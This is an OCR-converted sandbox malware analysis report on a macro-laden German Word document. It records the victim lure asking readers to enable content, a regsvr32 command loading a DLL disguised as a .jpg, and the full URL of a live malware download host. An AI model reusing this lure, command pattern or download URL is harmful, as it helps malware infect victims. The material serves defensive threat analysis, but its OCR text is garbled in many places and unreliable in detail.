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Analysis Report Datei-04.28.2021.doc

Overview

General Information Detection Signatures Classification
Sample Datei-04.28.2021.doc

Name: Multi AV Scanner, detection for subm...

Analysis ID: 399362

MDS: 6747583727ce06.. F MALICIOUS ]

Office document tries to convince Vvi...

Sigma detected: Register DLL with s...

SHA1L:
97667bf552bf555.. Document contains an embedded VB...
SHA256: 127d2018e00867... "
Document exploit detected (process...
fnfos: Y

Machine Learning detection for samp...

Most interesting Screenshot:

Document containsianiembedded VB:.:

Document containsiembedded VBA ...

Document containsino)GLE stream)...

Document hasianjunknewn'applicati...

Score: 76
Range: 0-100 May/sleepi(evasive loops)ito hinder: ...
Whitelisted: false Potentialldocument explojt detected...
r— R— Confidence: 100%
| e ALIE] T | Potential document exploitdetected:..

Startup

= System is w7x64

. WINWORD.EXE (PID: 2396 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

. WINWORD.EXE (PID: 1692 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
e [ regsvr32.exe (PID: 2544 cmdline: regsvr32 c:\programdata\argumentSelectTmp.jpg MD5: 59BCE9F07985F8A4204F4D6554CFF708)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary: -i.
Sigma detected: Register DLL with spoofed extension

Signature Overview

Copyright Joe Security LLC 2021 Page 5 of 41



@ AV Detection

® Compliance

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

g

Click to jump to signature section

AV Detection: r'-l

Multi AV Scanner detection for submitted file

Software Vulnerabilities: | |
System Summary: | |

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Mitre Att&ck Matrix

Ri
Initial Privilege Credential Lateral Command Network St
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects Ef
Valid Scripting Path Process Masquerading oS Virtualization/Sandbox Remote Data from  Exfiltration Non- Eavesdropon R
Accounts Interception  Injection Credential Evasion Services Local Over Other Application Insecure Tr
Dumping System Network Layer Network W
Medium Protocol Communication At
Default  Exploitation for  Boot or Boot or Disable or Modify LSASS File and Directory Remote Data from  Exfiltration Application Exploit SS7to R
Accounts Client Logon Logon Tools Memory Discovery Desktop Removable Over Layer Redirect Phone W
Execution Initialization  Initialization Protocol Media Bluetooth  Protocol Calls/SMS W
Scripts Scripts Al
Domain At (Linux) Logon Script Logon Virtualization/Sandbox Security ~ System Information SMB/Windows Data from Automated Ingress Tool Exploit SS7to O
Accounts (Windows)  Script Evasion Account Discovery Admin Shares Network  Exfiltration Transfer Track Device D
(Windows) Manager Shared Location Cl
Drive Bi
Local At (Windows)  Logon Script Logon Process Injection NTDS System Network Distributed Input Scheduled Protocol SIM Card
Accounts (Mac) Script Configuration Component  Capture Transfer Impersonation Swap
(Mac) Discovery Object Model
Cloud Cron Network Network Scripting LSA Remote System SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Logon Secrets Discovery Transfer Channels Device
Script Size Limits Communication

Behavior Graph
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

ID:

Sample:
Startdate:
Architecture:
Score:

Behavior Graph
399362
Datei-04.28.2021.doc 10US

28/04/2021 CLEAN
WINDOWS
76

g WINWORD.EXE

UNENDUUN

@ I0s 10 18
ang

better-transport-2008.com

45.142.215.160, 49165, 80
CLOUDSOLUTIONSRU

Russian Federation ™
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Datei-04.28.2021 - Microsoft Word

Home Insert Page Layout References Mailings Review View

) . e = N
calibri(Bodyl *11 v A° A7 | Aav | B iZ-i=- 2 T | asebeene | AzBbcede AaBbC

B J U -ak x X B A T Normal

# Format Painter
Clipboard Font Paragraph

Heading 1

Styles

Heading 2

nagbce AQB| assbcer A

Title subtitle |_ Change
Styles -

35 Replace
I3 select ~
Editing

Dieses Dokument wurde in der vorherigen Version von "Microsoft Office Word" erstellt.

Um dieses Dok zu visualisi oder bearbeiten, klicken Sie, bitte, auf die

Schaltfliche ,Bearbeitung aktivieren” in der oberen Leiste und dann auf ,Inhalt aktivieren”.

4[]
Page:1of1 | Words:0 | % |

_—~

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
Datei-04.28.2021.doc
Datei-04.28.2021.doc

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source

better-transport-2008.com

URLs

Source
hitp://iwww.icra.org/vocabulary/.

hitp://iwww.icra.org/vocabulary/.

Copyright Joe Security LLC 2021

Detection
13%
100%

Detection

1%

Detection
0%
0%

Scanner

Virustotal

Joe Sandbox ML

Scanner

Virustotal

Scanner
URL Reputation
URL Reputation

Label

Label

Label
safe

safe

Link

Browse

Link

Browse

Link
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https://www.virustotal.com/gui/file/127d2018e008677e5a0af20d8981806e07e3b57285787800554708803aaca6bd/detection/f-127d2018e008677e5a0af20d8981806e07e3b57285787800554708803aaca6bd-1619616584
https://www.virustotal.com/gui/url/e3e30601086119a26f4ad25308f68efbb9d57303619becdd4d341dcdeb7126c1/detection/u-e3e30601086119a26f4ad25308f68efbb9d57303619becdd4d341dcdeb7126c1-1619624050

Source Detection Scanner
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation
hitp://better-transport- 0% Avira URL Cloud
2008.com/bijol/dV6T3iG7zYYN/GdUb2hcoKhOi16jtBBA2HONALhpc/74683/46747/72864/4

hitpiwww.%s.comPA 0% URL Reputation
hitpiwww.%s.comPA 0% URL Reputation
hitpiwww.%s.comPA 0% URL Reputation
hitpiwww.%s.comPA 0% URL Reputation
hitp://better-transport- 1% Virustotal
2008.com/bijol/dV6T3iG7zYYN/GdUb2hcoKhO0i16jtBBA2HONALhpc/74683/46747/72864/44SSvBNGhJIXy
5fQxaupfdO8M/ZJEB/17780/qJ9lstoLuZrOY/lakad?
page=iiJKK2MrmsRueKNRXFWZCo09SOGKZ&user=hlf0d5tRMn7urFplay3&q=gV91M4&sid=cwv4FzNMj
ZLFugtW1lIxjgH314&search=KCgMbDFMHNTY94w5RXEIHoTs

hitp://better-transport- 0% Avira URL Cloud
2008.com/bijol/dV6T3iG7zYYN/GdUb2hcoKhO0i16jtBBA2HONALhpc/74683/46747/72864/44SSvBNGhJIXy
5fQxaupfdO8M/ZJEB/17780/qJ9lstoLuZrOY/lakad?
page=iiJKK2MrmsRueKNRXFWZCo09SOGKZ&user=hlf0d5tRMn7urFplay3&q=gV91M4&sid=cwv4FzNMj
ZLFugtW1lIxjgH314&search=KCgMbDFMHNTY94w5RXEIHoTs

hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation
hitp://servername/isapibackend.dll 0% Avira URL Cloud
Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection
better-transport-2008.com 45.142.215.160 true false e 1%, Virustotal, Browse
Contacted URLs

Name Malicious Antivirus Detection

e 1%, Virustotal, Browse
e Avira URL Cloud: safe

hitp://better-transport- false
2008.com/bijol/dV6T3iG7zYYN/GdUb2hcoKh0i16jtB3A2HONALhpc/74683/46747/72864/44SS
VBNGhJXy5fQxaupfdO8M/ZIEB/17780/qJ9IstoLuZrOY/laka4?
page=iiJKK2MrmsRueKNRXFWZC09SOGKZ&user=hlf0d5tRMn7urFplay3&q=gV91M4&sid=c
wv4FzNMjZLFugtW1IxjgH314&search=KCgMbDFMHNTY94w5RXEIH0Ts

URLs from Memory and Binaries

Label
safe
safe

safe

safe
safe
safe

safe

safe

safe
safe
safe
safe

safe

Name Source Malicious Antivirus Detection
hitp://services.msn.com/svcs/oe/certpage.asp? regsvr32.exe, 00000004.0000000 false
name=%s&email=%s&&Check 2.2100384533.0000000004A07000.
00000002.00000001.sdmp
hitp:/fiwww.windows.com/pctv. regsvr32.exe, 00000004.0000000 false
2.2099295340.0000000004820000.
00000002.00000001.sdmp
hitp://investor.msn.com regsvr32.exe, 00000004.0000000 false
2.2099295340.0000000004820000.
00000002.00000001.sdmp
hitp:/f/www.msnbc.com/news/ticker.txt regsvr32.exe, 00000004.0000000 false
2.2099295340.0000000004820000.
00000002.00000001.sdmp
hitp:/fiwww.icra.org/vocabulary/. regsvr32.exe, 00000004.0000000 false e URL Reputation: safe
2.2100384533.0000000004A07000. e URL Reputation: safe
00000002.00000001.sdmp e URL Reputation: safe
e URL Reputation: safe
http:/f regsvr32.exe, 00000004.0000000 false
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 2.2093880306.0000000003980000.
00000002.00000001.sdmp
hitp://investor.msn.com/ regsvr32.exe, 00000004.0000000 false
2.2099295340.0000000004820000.
00000002.00000001.sdmp
hitp://better-transport- vbaProject.bin false e Avira URL Cloud: safe

2008.com/bijol/dV6T3iG7zYYN/GdUb2hcoKh0i16jtB3A2HONA
1hpc/74683/46747/72864/4

Copyright Joe Security LLC 2021

Link

Browse

Reputation

unknown

Reputation

unknown

Reputation

high

high

high

high

unknown

high

high

unknown
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https://www.virustotal.com/gui/url/a3af92888a3a3487ad0f66191eb5c5905688bdc57ac4a5589bf3d71ae0973228/detection/u-a3af92888a3a3487ad0f66191eb5c5905688bdc57ac4a5589bf3d71ae0973228-1619611266
https://www.virustotal.com/gui/url/e3e30601086119a26f4ad25308f68efbb9d57303619becdd4d341dcdeb7126c1/detection/u-e3e30601086119a26f4ad25308f68efbb9d57303619becdd4d341dcdeb7126c1-1619624050
https://www.virustotal.com/gui/url/a3af92888a3a3487ad0f66191eb5c5905688bdc57ac4a5589bf3d71ae0973228/detection/u-a3af92888a3a3487ad0f66191eb5c5905688bdc57ac4a5589bf3d71ae0973228-1619611266

Name

hitpiwww.%s.comPA

hitp://iwindowsmedia.com/redir/services.asp?

WMPFriendly=true

hitp:/fiwww.hotmail.com/oe

hitp://servername/isapibackend.dll

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
B 75% < No. of IPs

Source

regsvr32.exe, 00000004.0000000
2.2093880306.0000000003980000.
00000002.00000001.sdmp

regsvr32.exe, 00000004.0000000

2.2100384533.0000000004A07000.

00000002.00000001.sdmp

regsvr32.exe, 00000004.0000000
2.2099295340.0000000004820000.
00000002.00000001.sdmp

regsvr32.exe, 00000004.0000000
2.2092988316.0000000001CF0000.
00000002.00000001.sdmp

Public
P Domain Country Flag
45.142.215.160 better-transport-2008.com  Russian Federation -

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:

Report type:
Sample file name:

Cookbook file name:

Copyright Joe Security LLC 2021

Malicious

false

false

false

false

Antivirus Detection Reputation

e URL Reputation: safe low

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe unknown

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

high

e Avira URL Cloud: safe low
ASN ASN Name Malicious
202933 CLOUDSOLUTIONSRU false

32.0.0 Black Diamond

399362
28.04.2021
17:46:43
CloudBasic
Oh 5m 21s
false

light

Datei-04.28.2021.doc

defaultwindowsofficecookbook.jbs
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Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time Type Description

17:47:43 API Interceptor 1x Sleep call for process: regsvr32.exe modified

Joe Sandbox View | Context

IPs

No context

Domains

No context

ASN

Match Associated Sample Name /| URL SHA 256
CLOUDSOLUTIONSRU Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Copyright Joe Security LLC 2021

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

5
0
0
0
0

HCA enabled
EGA enabled
HDC enabled
GSl enabled (VBA)
AMSI enabled

default

Timeout

MAL

mal76.expl.winDOC@4/12@1/1

Failed

Failed

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time

Enable AMSI

Found application associated with file extension:
.doc

Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog

Click Ok

Attach to Office via COM

Scroll down

Close Viewer

Show All

Detection
malicious
malicious
malicious
malicious
malicious

malicious

Report size getting too big, too many
NtQueryAttributesFile calls found.
Report size getting too big, too many
NtSetInformationFile calls found.

Link Context

Browse e 45142.215.164
Browse e 45142.215.164
Browse e 45142.215.164
Browse e 45142.215.163
Browse e 45142.215.163
Browse e 45142.215.163

Page 11 of 41


https://view.joesandbox.com/analysis/306288/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306288/html/none?idtype=webid
https://view.joesandbox.com/analysis/306286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306286/html/none?idtype=webid
https://view.joesandbox.com/analysis/306284/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306284/html/none?idtype=webid
https://view.joesandbox.com/analysis/306154/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306154/html/none?idtype=webid
https://view.joesandbox.com/analysis/306147/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306147/html/none?idtype=webid
https://view.joesandbox.com/analysis/306140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306140/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 45.142.215.63
Get hash malicious Browse e 45.142.215.16
Get hash malicious Browse e 45.142.215.16
Get hash malicious Browse e 45.142.215.16
Get hash malicious Browse e 45.142.215.16
Get hash malicious Browse e 45.142.215.16
Get hash malicious Browse e 45.142.215.32
Get hash malicious Browse e 45.142.215.32
Get hash malicious Browse e 45.142.215.32

Get hash malicious Browse e 45.142.215.32
Get hash malicious Browse e 45.142.215.32
Get hash malicious Browse e 45.142.215.32
Get hash malicious Browse e 45.142.213.182

Get hash malicious Browse e 45.142.213.182

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\argumentSelectTmp.jpg

Process: C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

File Type: HTML document, ASCII text

Category: dropped

Size (bytes): 204

Entropy (8bit): 5.134216527532146

Encrypted: false

SSDEEP: 6:pn0+Dy9xwGObRmEr6VnetdzRx3F3KCezocKgD:J0+oxBeRmR9etdzRxxez1T

MD5: FEDDB78986726A4A2161D362A5D52F25

SHAL: BAAA81B272211FA22DF14E3DCA322CE63FFA50B4

SHA-256: 2793291CF9D1C679B16DA071414FDE1E27A07508B616572332953DE5BB77083E

SHA-512: 42DAB38699465155F38326F6967F358549E89A470971CB66F7ECD0O8FC439CC18A8377FFIB2BF24882B13AE548A4DEIFFCC6FEB2E1EDA2484F9ADFDD489EBF92
A

Malicious: false

Reputation: low

Preview:

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL "la
ka4" was not found on this server.</p>.</body></html>.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T40403JZ\laka4[1].htm

Process: C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

File Type: HTML document, ASCII text

Category: downloaded

Size (bytes): 204

Entropy (8bit): 5.134216527532146

Encrypted: false

SSDEEP: 6:pn0+Dy9xwGObRmEr6VnetdzRx3F3KCezocKqD:J0+oxBeRmR9etdzRxxez1T

MD5: FEDDB78986726A4A2161D362A5D52F25

SHAL: BAAA81B272211FA22DF14E3DCA322CE63FFA50B4

SHA-256: 2793291CF9D1C679B16DA071414FDE1E27A07508B616572332953DES5BB77083E

SHA-512: 42DAB38699465155F38326F6967F358549E89A470971CB66F7ECD0O8FC439CC18A8377FFIB2BF24882B13AE548A4DEIFFCC6FEB2E1EDA2484F9ADFDD489EBF92
A

Malicious: false

Reputation: low

|IE Cache URL: hitp://better-transport-
2008.com/bijol/dV6T3iG7zYYN/GdUb2hcoKhO0i16jtB3BA2HONA1hpc/74683/46747/72864/44SSv8NGhIXy5fQxaupfdO8M/ZJEB/17780/qJ9IstoLuZrOY/lakad?
page=iiJKK2MrmsRueKNRXFWZC09SOGKZ&user=hIf0d5tRMn7urFplay3&q=gV91M4&sid=cwv4FzNM]ZLFugtW1IxjgH314&search=KCgMbDFMHNTY94w5RXEIHOTs
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https://view.joesandbox.com/analysis/305518/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/305518/html/none?idtype=webid
https://view.joesandbox.com/analysis/304314/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/304314/html/none?idtype=webid
https://view.joesandbox.com/analysis/304302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/304302/html/none?idtype=webid
https://view.joesandbox.com/analysis/300526/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/300526/html/none?idtype=webid
https://view.joesandbox.com/analysis/300515/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/300515/html/none?idtype=webid
https://view.joesandbox.com/analysis/300497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/300497/html/none?idtype=webid
https://view.joesandbox.com/analysis/299188/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299188/html/none?idtype=webid
https://view.joesandbox.com/analysis/299182/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299182/html/none?idtype=webid
https://view.joesandbox.com/analysis/299174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299174/html/none?idtype=webid
https://view.joesandbox.com/analysis/297885/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/297885/html/none?idtype=webid
https://view.joesandbox.com/analysis/297880/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/297880/html/none?idtype=webid
https://view.joesandbox.com/analysis/297876/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/297876/html/none?idtype=webid
https://view.joesandbox.com/analysis/294937/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/294937/html/none?idtype=webid
https://view.joesandbox.com/analysis/294926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/294926/html/none?idtype=webid

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T40403JZ\laka4[1].htm

Preview:
<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL "la
ka4" was not found on this server.</p>.</body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MS0\92D29733.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: [TIFF image data, little-endian, direntries=14, height=630, bps=182, compression=LZW, Photometriclntepretation=RGB, orientation=upper-left, width=2288], baseline,
precision 8, 828x186, frames 3

Category: dropped

Size (bytes): 79188

Entropy (8bit): 7.847381222647767

Encrypted: false

SSDEEP: 1536:3hdklvIOAPY 2ywnbcbWSfZL2+wSJIx8+RBZe0nV3AgXfolSQw6eh:MIZAPY 2yWwb3ZadaxHeuNQpeh

MD5: A1BAC07A20C5DF390D6D96BOFB713F5D

SHA1L: 427F044786B5C412EF3B424CDA2DEA817AA9CCAG

SHA-256: 0638205EBB792E3447169B46FBFB6BC48A1433B8335794ED4CEB6706F5290EF3

SHA-512: 1EBB00551E59417AA5CC16D195E27EE227342108C4C093D9A747241BAC6AC54A48262686AD3911DFDCF89AALIEA3E2A1CI1CAE790252A5C2C81978F362CCA2B
1

Malicious: false

Reputation: moderate, very likely benign file

Preview:

3.1 1.AQa."q.2....B#S.R.b
&5..D.T..dEUBte....U..F............... Viv..

34r..C.%.S...cs5...&D.TdE.t6..U.e...u..F".
LL?00.80.2.0sC

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRC0000.tmp

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: Microsoft Word 2007+
Category: dropped
Size (bytes): 20515
Entropy (8bit): 7.469835486287775
Encrypted: false
SSDEEP: 384:Pjl/SUSNrbWwV+A9QG6F7//oMaoNy3aPWPOzROejkKIQMAPZU:LrPlo1k3aPWPONjKIFAK
MD5: 747F920591F171BA793209DB3BFD8A21
SHA1L: BCF601F9500A6B5C20DB101840F4288D685FC57D
SHA-256: 74C3C074A163990B2E25692F8656F2232B9D4B07D0OB34FE7A3F40127F6838CF3
SHA-512: 0D37436D7BF6BF640377525F7E2E926929B64C5D31686B4CF69083CCCDF53AC4F85F98BF380D49DE9B585055237FA9156D696C81081B676364771F2415790683
Malicious: false
Reputation: moderate, very likely benign file
Preview:
PK.e L+iPo. {02 a1 (=T a1 A Y0 TS O a1 O GO T T T TSP P PP P PP PPPPI

.D...(,g..6@]t.#.._.0..}......QM.I.1...5..YS.@D Qn..l|.Go:. Ht..<.y%....f....Ku..I1....6.Z.
LO{.L...H..S\.CC..0p..#..0:.7....Si.VP]...K...G...th...... $...BF.t..Z.y.]O..+...,.{j.uZ..gB...i..i....t.,.$-my {..q7H..JL.{P.E..../[Fg$>...FX.)...b...k .E.Ni..OC.N.P..7Z".......
)...G.)...9./.....0...14..g....<el[."..4m.?.6.9..k

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{47F385A6-6281-436E-ACD1-2266A057AE87}.tmp
Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:013lYdn:4Wn

MDS5: 5D4D94EE7E06BBBOAF9584119797B23A

SHAL: DBB111419C704F116EFA8E72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AEB84CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

Malicious: false

Reputation: high, very likely benign file

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{555D4EB4-8E09-401E-A760-1A1C7B299BE3}.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

1024

0.05390218305374581

false

3:013lYdn:4Wn

5D4D94EE7E06BBBOAF9584119797B23A
DBB111419C704F116EFA8E72471DD83E86E49677
4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

95F83AEB4CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

false

high, very likely benign file

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{5A73AA4B-62E1-448E-9310-09F37DB49412}.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

1536

0.1903644670878318

false

3:/IMIt4sllIFINtwI5h9Z9:+Ir45v

43EADFFEFD5914B486C8193474EA3408
048972F9F902493E595F848E45052DF938621907
46F3BCD8D35DE83BDD29CA5C831E78C421869E3D4D0F8DDD60CD2A9ESE6GOED77
11BBE96AFE28472C497DC7252560D77B9595C904C2253881AC407DFD5F23A3D4EA29526DB4DCA242B074D83217459D10FB428ACF92B934C17C286E73A87A333

false

C:\Users\luser\AppData\Local\Temp\VBE\MSForms.exd

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162688

4.254404176001523

false
1536:C6IL3FNSc8SetkB96vQVCBumVMOejemXmYarrJQcd1lFalecm48s:CNINSc83tKBAVQVCgOtmXmLpLm4l
14FB2985EE00FC7637B8AB3AC19C232B

70865CE06647465D1C8D617D7B3822C6EED8FA26
F807F0C3328C49E6DE9IC375DE1B44A7AF6573C87E9DE732CBF28EF5D21C928DB

982CB06D601BCEAB823364A859DBF54982C155C57EF17CBBOEO7AAF60C46AF06641A00A6EAEC52B144A1F4D9DE33DB22EC86B0O5F7686EC7620098291478D7F«
6

false

Lhe , PO @ 4 #.#. . #.7$..%..%...%...%..H&..
.0..p0...0..81...1...2..d2...2..,3...3...3..X4...4..5..5..5.L6...6...7.X7...7..@8..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Datei-04.28.2021.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Aug 26 14:08:14 2020,
atime=Wed Apr 28 23:47:30 2021, length=90627, window=hide

dropped

2088
4.541049992446857
false

24:8IU/XTwz6lkneDgOeebDv3q2dM7dD2IU/XTwz6lkneDqOeebDv3q2dM7dV:8b/XT3lk4la2Qh2b/XT3Ik4la2Q/
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C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Datei-04.28.2021.LNK

MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

F3603CD4FAD8443004EB3A20F7FBF18F

98C244711422ABF826ACADDF440FAA84E84D7D1D

5A64A7182FESE360F10D8350BB951E41F18E47277EEFDBDE9F89C078048197A6
485B665D124EAC582FE07172662A321F7DDOCC36E41A6DF48638FDCB7F4C34445BF7FD5258C021738DC0888DB751D5166D828566FB8A81AA86B50F02679C9E2|

false

| EETTTOPRRN Foo XV foo XV {<ibo P.O. 0. #00.../C:\ t1.....QK.X..Users. .......QK. X ..o, 6....Us.ers..@.s.hell3.2.dll,.-
.2.1.8.1.3....L.1.....Q.y..user.8......QK.X.Q.y*...&=....U Alb.us....z.1.....Q.y..Desktop.d......QK.X.Q.y*. ....D.eskto.p.@.s.hell3.2.dlLl,.-2
.1.7.6.9....r.2..b...R.. .DATEI-~1.DOC..V....... Q.y.Qy*..8 D.a.te.i-.0.4..2.8..2.0.2.1..d.0.Ccccc.mevrrveccem 8o [ 2J.....C:\Users\. #.... \3024
94\Users.user\Desktop\Datei-04.28.2021.doc.+.....\.....\.... \....\... 1SPS.XF.L8C....&m.m..
.S.-1.-5.-.2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6..

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

86

4.326022969633015

false

3:M1SmMIRVELUI5elRVELUIMX1SMMIRVELUIV:MQ7rLUrerLUf7rLUL
0BDE91546ED3D50D1B9A1B4A37CF9572
16FC4A4ABEA006B381E57857AB4B29D966A847EB
4066E345B4B51909606757F4B5875000A5C838A8F8DE107415E6D67470FB032E

5133A71D4FBEE2EEQ9CA4626944F07C7AE3DF9F24CC6C3767488A57D9E1E23A6E6D01C8521A56A811DFE3CA18B375AEA3BSE45534A2DABA4FD1869307AD91F
DC

false

[doc]..Datei-04.28.2021.LNK=0..Datei-04.28.2021.LNK=0..[doc]..Datei-04.28.2021.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWtVyzALORwObGUXKbylin:vdsCkWtJLObyvb+
6AF5EAEBE6C935D9A5422D99EEEGBEFO
6FE25A65D5CC0D4F989A1D79DF5CE1D225D790EC
CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FA6CB4719

B2F51A8375748037E709D75C038B48C69EO0F02D2CF772FF355D7203EE885B5DBID1E15DA2EDBIC1E2156A092F315EB9C069B654AF39B7FAACD3EFEFF1F8CAE
0

false

LUSET ettt Alb.us....... Peeeeenn Mt M P/l MNieZsed Mo X

C:\Users\user\Desktop\~$tei-04.28.2021.doc

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWitVyzALORwObGUXKbylin:vdsCkWtJLObyvb+
6AF5EAEBE6C935D9A5422D99EEEGBEFO
6FE25A65D5CC0OD4F989A1D79DF5CE1D225D790EC
CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FA6CB4719

